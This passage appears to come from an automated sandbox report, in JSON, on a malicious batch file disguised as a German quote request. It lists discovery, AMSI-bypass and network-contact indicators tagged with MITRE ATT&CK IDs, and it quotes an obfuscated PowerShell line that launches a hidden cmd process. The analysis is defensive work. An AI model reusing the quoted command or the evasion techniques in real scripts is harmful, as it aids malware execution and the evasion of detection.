\"00000000-00002148.00000000.136313.DC44A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"EnumWindows\" (Indicator: \"enumwindows\"; Source: \"00000000-00006840-00000C2C-1096631300\")\n Found reference to API \"EnumWindowsW\" (Indicator: \"enumwindows\"; Source: \"00000000-00006840-00000C2C-1096631325\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"powershell.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00006840)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"cmd.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00001272)\n \"powershell.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00006840)\n \"powershell.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00006840)\n \"powershell.exe\" called \"GlobalMemoryStatusEx\" with parameters (UID: 00000000-00006840)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"cmd.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00001272)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"powershell.exe\" called \"GetForegroundWindow\" (UID: 00000000-00006840)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"powershell.exe\" called \"IsWow64Process\" with parameter \"6840\" - (UID: 00000000-00006840)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"3236\" - (UID: 00000000-00003236)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"2148\" - (UID: 00000000-00002148)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"2684\" - (UID: 00000000-00002684)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00006840)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00003236)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00002148)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00002684)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"powershell.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00006840)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$3a","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$3b","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00006840)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00006840)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00003236)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00003236)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00002148)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00002148)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00002684)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00002684)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00006840)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00003236)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00002148)\n \"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00002684)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00002148.00000000.136313.DC44A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$3c","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-326","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00002148.00000000.136313.DC44A000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$3f","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"wmic.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert - External IP Lookup","description":"Detected alert \"ET INFO External IP Lookup ip-api.com\" (SID: 2022082, Rev: 6, Severity: 2) categorized as \"Device Retrieving External IP Address Detected\"","origin":"Suricata Alerts","mitre_attack_id":"T1016","relevance":3,"id":"suricata-4","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"External Systems","name":"Sample was identified as clean by Antivirus engines","description":"0/23 Antivirus vendors marked sample as clean (0% detection rate)","origin":"External System","relevance":10,"id":"avtest-1","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$40","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00006840)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00003236)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00002148)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00002684)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"powershell.exe\" called \"CreateDirectoryW\" with parameter %TEMP%\\frnxne3f.vzc (UID: 00000000-00003236)\n \"powershell.exe\" called \"CreateDirectoryA\" with parameter %TEMP%\\nlyjs020 (UID: 00000000-00002684)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"$41","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134309122454363777.6840.DefaultAppDomain.powershell\" - (UID: 00000000-00006840)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134309123074767101.3236.DefaultAppDomain.powershell\" - (UID: 00000000-00003236)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134309125260959314.2148.DefaultAppDomain.powershell\" - (UID: 00000000-00002148)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134309125315917616.2684.DefaultAppDomain.powershell\" - (UID: 00000000-00002684)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$42","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"ip-api.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"94.198.96.165:62769\"\n \"208.95.112.1:80\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00002148.00000000.136313.DC44A000.00000002.mdmp\")\n Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"00000000-00002148.00000000.136313.DC44A000.00000002.mdmp\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00002148.00000000.136313.DC44A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$43","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"$44","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00002148.00000000.136313.DC44A000.00000002.mdmp\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00002148.00000000.136313.DC44A000.00000002.mdmp\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00002684.00000000.136665.22D52000.00000002.mdmp, 00000000-00002684.00000001.136956.071F8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"file/memory contains long string with (Indicator: \"ShowWindow\"; File: \"nlyjs020.0.cs\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Contains ability to start a process (Powershell command string)","description":"Found string \"$q=[char]34;$a='/c '+$q+$env:_RgWsBs+$q+' 8ce0e0362e';Start-Process -FilePath $env:ComSpec -ArgumentList $a -WindowStyle HiddEN\" (Indicator: \"Start-Process\"; File: \"00000000-00006840\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-250","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$45","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$46","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Detected file retrieval based on search patterns","description":"Process \"wmic.exe\" with commandline \"\"wmic\" process where ProcessId=2684 get CommandLine /value\" (UID: 00000000-00002940)","origin":"Monitored Target","mitre_attack_id":"T1083","id":"target-424","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"npm4ol10jde.cmd\" as clean (type is \"DOS batch file ASCII text with very long lines (59591)\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Executes PowerShell with command line","description":"$47","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":1,"id":"target-486","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Executes batch file","description":"Process \"cmd.exe\" with commandline \"/c \"\"C:\\\\Angebotsanfrage_11-Aug-2026.bat\" \"\" (UID: 00000000-00001272)\n Process \"cmd.exe\" with commandline \"/c \"C:\\\\Angebotsanfrage_11-Aug-2026.bat\" 8ce0e0362e\" (UID: 00000000-00007156)","origin":"Monitored Target","mitre_attack_id":"T1059","relevance":3,"id":"target-220","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$48","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"premium-server@thawte.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.134309122454363777.6840.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134309123074767101.3236.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134309125260959314.2148.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134309125315917616.2684.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$49","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Launches a browser","description":"Launches browser \"chrome.exe\" (UID: 00000000-00007940)\n Launches browser \"msedge.exe\" (UID: 00000000-00000864)","origin":"Monitored Target","relevance":3,"id":"target-21","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$4a","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll\" at 0C590000\n \"RegAsm.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll\" at 0C590000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at 25560000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"cmd.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 3BB60000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 3BB60000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 3AD20000\n \"csc.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 3BB60000\n \"csc.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 3AD20000\n \"cvtres.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 3AD20000\n \"cvtres.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 3BB60000\n \"RegAsm.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 3BB60000\n \"RegAsm.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 3AD20000\n \"wmic.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at 3BB60000\n \"wmic.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at 3AD20000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 0DB90000\n \"csc.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 0DB90000\n \"RegAsm.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 0DB90000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"cmd.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 3C7E0000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 3C7E0000\n \"PING.EXE\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 3C7E0000\n \"csc.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 3C7E0000\n \"cvtres.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 3C7E0000\n \"RegAsm.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 3C7E0000\n \"wmic.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at 3C7E0000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a000000000040c7d53bf97f0000@ntdll.dll\"\n \"220023000000000018c7d53bf97f0000@ntdll.dll\"\n \"19001a009e00000040c7d53bf97f0000@ntdll.dll\"\n \"220023009e00000018c7d53bf97f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6a7ae3dfbc42cb5d98035ed8"},{"report_type":"sandbox","report_id":"6a7ae00513a61cfd850117e3"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"Angebotsanfrage_11-Aug-2026.bat\" was detected as \"plain text\" and name: 